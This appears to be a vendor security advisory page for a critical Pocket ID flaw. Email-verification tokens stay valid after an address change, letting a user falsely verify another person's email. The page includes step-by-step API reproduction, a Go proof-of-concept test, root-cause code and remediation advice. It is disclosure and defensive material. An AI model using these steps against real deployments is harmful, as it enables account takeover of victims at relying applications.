NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

Pocket ID: Email verification token remains valid after address change, enabling arbitrary verified-email spoofingGHSA-rm8c-2cv8-jwf6

CRITICALFix: pocket-id/pocket-id#1625

GHSA-rm8c-2cv8-jwf6 is a critical-severity (CVSS 9.6) CWE-345 vulnerability in github.com/pocket-id/pocket-id/backend. A fix is available for github.com/pocket-id/pocket-id/backend — see the affected versions and patch details below.

Also known asCVE-2026-115770
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs6th percentile — riskier than 6% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/pocket-id/pocket-id/backend

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An authenticated Pocket ID user can request an email-verification token while their account uses an address they control, change the account email address, and then redeem the previously issued token. The token is bound only to the user ID, not to the address to which it was sent, and changing the address does not revoke outstanding tokens.

As a result, Pocket ID marks the newly supplied address as verified even though the user never proved control of it. Pocket ID subsequently returns that address with email_verified: true in OIDC claims. A relying party that trusts this claim for email-based account linking or provisioning can therefore link the attacker's Pocket ID identity to a victim's existing account, leading to cross-application account takeover.

This was verified against commit 9f559788a44cfea790de360da0a74d4bdf8ca5d5.

Preconditions

  • The attacker has an ordinary Pocket ID user account.
  • Email verification is in use (emailsVerified=false, which is the default).
  • The user can edit their own account (allowOwnAccountEdit=true, which is the default).
  • The target address is not already assigned to another Pocket ID user.
  • For downstream account takeover, a relying party links or provisions users based on a trusted, verified email address. Applications that rely exclusively on the stable OIDC sub claim are not affected by that downstream consequence.

No administrator privilege, victim interaction, or access to the victim's mailbox is required.

Reproduction through the API

  1. Sign in as an ordinary user whose current email address is controlled by the attacker, for example [email protected].
  2. Call POST /api/users/me/send-email-verification.
  3. Obtain the token from the message delivered to [email protected], but do not redeem it yet.
  4. Call PUT /api/users/me and change the account email to an address the attacker does not control, for example [email protected].
  5. Observe that the new address is initially stored with emailVerified: false.
  6. Call POST /api/users/me/verify-email with the token delivered to [email protected].
  7. Call GET /api/users/me. The current address is now [email protected] and emailVerified is true.
  8. Complete an OIDC flow with the email scope. Pocket ID emits:
{
  "email": "[email protected]",
  "email_verified": true
}

The old token has therefore verified a different address from the one to which it was delivered.

Executable regression test / proof of concept

Save this as backend/internal/service/audit_email_verification_test.go and run:

go test -tags=exclude_frontend,unit ./internal/service -run TestAuditEmailVerificationTokenSurvivesEmailChange -count=1 -v

The test passes on the referenced commit and demonstrates the unintended state transition:

package service

import (
	"testing"
	"time"

	"github.com/stretchr/testify/require"

	"github.com/pocket-id/pocket-id/backend/internal/appconfig"
	"github.com/pocket-id/pocket-id/backend/internal/dto"
	"github.com/pocket-id/pocket-id/backend/internal/model"
	datatype "github.com/pocket-id/pocket-id/backend/internal/model/types"
)

func TestAuditEmailVerificationTokenSurvivesEmailChange(t *testing.T) {
	userService, _ := newTestUserService(t)
	config := &appconfig.AppConfigModel{
		RequireUserEmail:    "true",
		AllowOwnAccountEdit: "true",
		EmailsVerified:      "false",
	}

	attackerEmail := "[email protected]"
	user, err := userService.CreateUser(t.Context(), config, dto.UserCreateDto{
		Username:      "attacker",
		Email:         &attackerEmail,
		EmailVerified: false,
	})
	require.NoError(t, err)

	const tokenFromAttackerMailbox = "token-issued-for-attacker-email"
	require.NoError(t, userService.db.Create(&model.EmailVerificationToken{
		UserID:    user.ID,
		Token:     tokenFromAttackerMailbox,
		ExpiresAt: datatype.DateTime(time.Now().Add(time.Hour)),
	}).Error)

	victimEmail := "[email protected]"
	_, err = userService.UpdateUser(t.Context(), config, user.ID, dto.UserCreateDto{
		Username: user.Username,
		Email:    &victimEmail,
	}, true, false)
	require.NoError(t, err)

	changed, err := userService.GetUser(t.Context(), user.ID)
	require.NoError(t, err)
	require.Equal(t, victimEmail, *changed.Email)
	require.False(t, changed.EmailVerified)

	require.NoError(t, userService.VerifyEmail(
		t.Context(),
		user.ID,
		tokenFromAttackerMailbox,
	))

	verified, err := userService.GetUser(t.Context(), user.ID)
	require.NoError(t, err)
	require.Equal(t, victimEmail, *verified.Email)
	require.True(t, verified.EmailVerified)
}

Observed result:

=== RUN   TestAuditEmailVerificationTokenSurvivesEmailChange
--- PASS: TestAuditEmailVerificationTokenSurvivesEmailChange
PASS

Root cause

backend/internal/model/email_verification_token.go stores only a token, expiration, and user ID. It does not store or cryptographically bind the address being verified.

UserService.SendEmailVerification creates the token for user.ID and sends it to the current user.Email, but that email is not part of the token record:

emailVerificationToken := &model.EmailVerificationToken{
	UserID:    user.ID,
	Token:     randomToken,
	ExpiresAt: datatype.DateTime(expiration),
}

UserService.UpdateUser resets the verification flag when the address changes but leaves existing verification tokens valid.

UserService.VerifyEmail validates only the token, user ID, and expiry, then sets EmailVerified on the user's current record:

err := tx.WithContext(ctx).Where(
	"token = ? AND user_id = ? AND expires_at > ?",
	token,
	userID,
	datatype.DateTime(time.Now()),
).First(&emailVerificationToken).Error

user, err := s.getUserInternal(ctx, emailVerificationToken.UserID, tx)
// ...
user.EmailVerified = true

Finally, backend/internal/oidc/claims_service.go publishes the current address and flag together:

claims["email"] = *user.Email
claims["email_verified"] = user.EmailVerified

Impact

The direct impact is an authentication-integrity failure in an identity provider: any ordinary user can cause Pocket ID to attest control of an arbitrary unused email address.

The security boundary crossed by that false attestation is the relying application. Where a relying party treats email_verified=true as proof of address ownership and uses email for automatic account matching, the attacker can be signed into or linked to the victim's existing relying-party account. This can expose all data and actions available through that account.

Suggested remediation

  1. Store a normalized target email address (or a keyed hash of it) with every verification token.
  2. During redemption, atomically require that the stored target address still equals the user's current normalized email address.
  3. Invalidate all outstanding email-verification tokens whenever the account email changes.
  4. Invalidate prior outstanding tokens when issuing a replacement token.
  5. Add a regression test that changes the email after issuance and requires the old token to be rejected.

Testing note

Source review and test construction were AI-assisted. The finding, affected control flow, preconditions, and executable proof of concept were validated against the referenced Pocket ID commit before submission.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/pocket-id/pocket-id/backendall versions0.0.0-20260727180059-43aaccd5bfacgo get github.com/pocket-id/pocket-id/backend@v0.0.0-20260727180059-43aaccd5bfac

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/pocket-id/pocket-id/backend, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/pocket-id/pocket-id/backend to 0.0.0-20260727180059-43aaccd5bfac or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rm8c-2cv8-jwf6 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

## Summary An authenticated Pocket ID user can request an email-verification token while their account uses an address they control, change the account email address, and then redeem the previously issued token. The token is bound only to the user ID, not to the address to which it was sent, and changing the address does not revoke outstanding tokens. As a result, Pocket ID marks the newly supplied address as verified even though the user never proved control of it. Pocket ID subsequently returns that address with `email_verified: true` in OIDC claims. A relying party that trusts this claim
O3 Security · Impact-Aware SCA

Is GHSA-rm8c-2cv8-jwf6 in your dependencies?

Find it across Go, including transitive dependencies.

Pocket ID: Email verification token remains valid after…